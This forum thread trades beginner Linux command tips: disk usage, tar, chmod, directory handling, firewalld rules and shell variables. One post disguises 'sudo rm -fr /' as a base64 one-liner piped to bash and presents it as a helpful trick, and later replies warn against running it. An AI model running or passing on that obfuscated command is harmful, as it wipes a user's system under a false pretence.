Learn a new Linux command every day :-)

So far - bad.

These look vague.

What are these shortcuts \ commands meaning? Or is it random letters put together? Like "df" - is this standing for diagrams flicking or dripping filters? Or sone genius put super fckiny hacking code for super crypto 14 year old hackers.
df - disk free
du - disk usage

What command I like the most?
Code:
tar xzvf somefunkylinuxarchive.tar.gz
tar - tape archive hehe
 
df - disk free
du - disk usage

What command I like the most?
Code:
tar xzvf somefunkylinuxarchive.tar.gz
tar - tape archive hehe
@Gogol who paid you to advertise Udemy? You see, the answer here is clear.

Send dictionary with all acronyms - commands here. By 12 am.
 
@Gogol who paid you to advertise Udemy? You see, the answer here is clear.

Send dictionary with all acronyms - commands here. By 12 am.
haha no one. Just an example. Basics matter a lot when it comes to linux! You will be free from your cpanel and thousands of other stupid panels. Learn it may be lol.
 
....continuing my last post

1.5) show NVME information, if you are using a NVME SSD

Code:
sudo nvme list

Note: run the below command to install 'nvme-cli' package for Ubuntu users
sudo apt install nvme-cli --yes
 
Last edited:
haha no one. Just an example. Basics matter a lot when it comes to linux! You will be free from your cpanel and thousands of other stupid panels. Learn it may be lol.
Value like "math basics are more important than calculus". :D

I think the goal of it is to take control of the system, and other systems. I think so.

I don't believe knowing how to do linux operations is what makes you Linux master.

I don't know what power they hold yet.
 
Value like "math basics are more important than calculus". :D

I think the goal of it is to take control of the system, and other systems. I think so.

I don't believe knowing how to do linux operations is what makes you Linux master.

I don't know what power they hold yet.
The statement hold true! If you do not know basic maths, damn sure calculus is going to seem greek to you. :p

Don’t doubt the world, learn it.

I am out of this thread now because this is not lounge. But I for sure will be back to check the updates as well as posting some tricks that seemed great to me. ;)
 
Change the permissions of a file with the chmod command. One of the most common uses of chmod is making a file executable:

$ chmod +x myfile
This example is how you give a file permission to be executed as a command. This is particularly handy for scripts. Try this simple exercise:

$ echo 'echo Hello $USER' > hello.sh

$ chmod +x hello.sh

$ ./hello.sh
Hello, Don
 
Change the permissions of a file with the chmod command. One of the most common uses of chmod is making a file executable:

$ chmod +x myfile
This example is how you give a file permission to be executed as a command. This is particularly handy for scripts. Try this simple exercise:

$ echo 'echo Hello $USER' > hello.sh

$ chmod +x hello.sh

$ ./hello.sh
Hello, Don

Good share
want to add on that

It is safer to use
Code:
chmod u+x <your_script_name>.sh

So, only user (that is you) can execute the script.
Linux file permission broken into three parts: 1) User, 2) Group, 3) Others

If some one giving command like chmod +x <your_script_name>.sh
Then basically the execution permission is applied to all three (User, Group, Others) or in other words to every one.

I have given a Demo of it in the Screenshot below~

ugo+x.png


Note: rwx=> Read, Write, Executable permission pattern for User, Group & Others are in the following order~

rwx......rwx......rwx
|.............|...........|
User Group Others
___________________________________________

PS: When execution is not required any more, User can remove the execution permission with command: chmod u-x <your_script_name>.sh
 
Last edited:
du -cha --max-depth=1 /path/ | grep -E "M|G"

Find largest sub-folders within a directory. Great for troubleshooting disk usage.
 
du -cha --max-depth=1 /path/ | grep -E "M|G"

Find largest sub-folders within a directory. Great for troubleshooting disk usage.

Thanks

just want to add, for non root user 'sudo' prefix is required
E.g.
Code:
sudo du -cha --max-depth=1 <Your_Folder_location> | grep -E "M|G"
 
Here is one command for OP to check,

echo c3VkbyBybSAtZnIgLw== | base64 --decode | bash

It's easy to be run as only needs to be copied in terminal of linux or even Mac.

I use this to generate Paypal monkey.

Warning for simpletons: don't.
 

# Commands to work with your files and folders


1.1) print name of current/working directory

Code:
pwd

1.2) change to home directory

Code:
cd ~

1.3) change to parent directory

Code:
cd ..

1.4) change to sub directory (if it does exist)

Code:
cd <Sub_Folder_Name>

Tip: Use 'ls' command to view all sub directories present under your current directory

1.5) change to last directory/location you were working

Code:
cd -

2.1) Crate a Folder/Directory

Code:
mkdir <Folder_name>

2.2) Create a Directory path (or chain of Folder)

Code:
mkdir -p ~/path/you/want

Note: for above example, even if 'path' and 'you' folder does not exist, command will create those folder at first and then it will create 'want' folder

2.2) Copy recursively a non-empty folder and its contents(folders/files)

Code:
cp -r <Folder_name> <New_Folder_name>

Note: - r => recursive

2.2) rename a Folder

Code:
mv <Folder_name> <Newest_Folder_name>

2.4) delete/remove a Folder recursively. Will delete all the content present under that folder (like files and sub-folders)

Code:
rm -r <Folder_name>

Note: - r => recursive

3) Delete/remove a file

Code:
rm <File_name>

4) Get the Structure of a Directory/Folder

Code:
tree <Folder_Name>

Note: install 'tree' package with the help of this command: sudo apt install tree --yes

Screenshot:

tree_.png
 
Last edited:
Here is one command for OP to check,



It's easy to be run as only needs to be copied in terminal of linux or even Mac.

I use this to generate Paypal monkey.

Warning for simpletons: don't.

Hmmm..

@_All_ don't even try

tmp.png
 

# Help command (most frequently used commands)


1.1) Get full documentation of any command

Code:
man <your command>

E.g.

Code:
man print

Note: 'man' stands for manual

1.2) Get shorter documentation of any command

Code:
help <your command>

E.g.

Code:
help print
 
Ooh, I like this. Straight from my bashrc, I think this forum will find this pretty useful for social media:

Code:
clip() {
        ffmpeg -hide_banner -ss $2 -i "$1" -codec copy -copyts -to $3 -avoid_negative_ts make_zero "$4"
}

Usage:

Code:
clip input.mp4 00:05 00:10 output.mp4

What this does is extract the clip from 00:05 to 00:10 from input.mp4 and puts it into output.mp4.

This is very useful for social media where you can extract clips from YouTube and post it on social media to build up likes, Reddit karma, etc.
 

# Firewall to allow certain ports/IPs or combination fo both:


Note: At first, you need to install the Firewall package: 'firewalld'. For Ubuntu users to get it installed on your web server, use this command: sudo apt install firewalld --yes

1.1) Allow a certain port

Code:
sudo firewall-cmd --zone=docker --add-port=80/tcp
sudo firewall-cmd --zone=docker --permanent --add-port=80/tcp

PS: in the above example, we are setting a rule for the webserver to allow any incoming HTTP traffic on port 80. You can replace 80 with any other port (such as 443 for HTTPS) as per your needs. These ports could be of type tcp and/or udp

1.2) allow a certain IPv4 address

Code:
sudo firewall-cmd --zone=public --add-source=172.217.22.14/32
sudo firewall-cmd --zone=public --permanent  --add-source=172.217.22.14/32

Use case: suppose you are hosting your website on Wordpress. And you might have good traffic, so for the best performance, you have a separate VPS, which will only be responsible for handling your site database (i.e., MySQL). But you want to restrict database server access from your wordpress web server only (basically where Apache/Nginx is running). So in that case, you can use this approach to whitelist only your Apache/Nginx Server IP on your MySQL Server.
So in this case, you need to run these firewall commands on your server, where your database (MySQL) is holding, and the IP address will be the one where your Apache/Nginx server is running.

Note: You can replace the given IP with any other IP address. And the /32 subnet mask basically says that it is applicable for that single IP only.

1.3) allow a certain Port from a specific IPv4 address only

Code:
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="172.217.22.14/32" port protocol="tcp" port="3306" accept'
sudo firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="172.217.22.14/32" port protocol="tcp" port="5432" accept'

Use case: similar to the 1.2 use case, but it gives you a more granular level of control. So the above two commands allow your web server (Apache/nginx) to access only port 3306 (where MySQL is running) and not any other ports of your MySQL server.

Remember: these two commands need to be run on your MySQL server, and the IP address will be the one where your web server (Apache/Nginx) is running. So basically, your MySQL server is allowing your web server IP to access the database, which is running on port 3306.
 
Last edited:
Small correction to my above post.
Can't edit my last post as 30 mins have passed and for some reason, the report button is not working!


Correct code for 1.3 example is given below:

Code:
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="172.217.22.14/32" port protocol="tcp" port="3306" accept'
sudo firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="172.217.22.14/32" port protocol="tcp" port="3306" accept'

Actually, the port number was mistyped.
 

# Working with variables & Environment variables

1.1) Assigning a value to a variable

Code:
USERID=root

1.2) assigning a complex value to a variable

Code:
PASSWORD='M8&^s-K5L0#sbN$q>Z'

Note: If your string contains a special character, you need to wrap it with a single/double quote

1.3) accessing a variable

Code:
echo $USERID
echo ${PASSWORD}

1.4) deleting/resetting a variable

Code:
unset USERID

Note: post that if you run command: echo $USERID, you will see its value is None/Blank

1.5) assigning the output of a command into a variable

Code:
IP=$(curl -4 icanhazip.com)

echo $IP

# Working with Environment variables​


1.1) Creating an environment variable

Code:
export USERID='admin'

1.2) converting a normal variable into an environment variable

Code:
export IP=$IP

1.3) list all environment variables present in your login session

Code:
printnv

1.4) search for a specific key/value in from your environment variables

Code:
printenv | grep -i userid

Note: here "-i" stands for ignore case sensitivity

1.5) deleting/reseting an environment variable

Code:
unset IP

Note: The process is the same as deleting/resetting a normal variable
 
Last edited:

# Printing information on screen


1.1) print on the screen with printf command
Code:
printf "Your User ID: \t$USERID\n"

Note: here '\n' represents a new line. And '\t' represents a tab space

1.2) print on the screen with printf command

Code:
echo 'Hello World!'

echo "Your Password is: $PASSWORD"

Note: If you want to print a variable in your message, you can't wrap your message with a single quote.

e.g.,
command:
echo 'Your user id: $USERID'

will show => Your user id: $USERID'

Notice: Value of the variable USERID would not be extracted.

1.3) advanced usage of echo

Code:
echo -e "Your User ID is: \t$USERID\n"

PS: without -e, strings would not be formatted.
 
Last edited:
Back
Top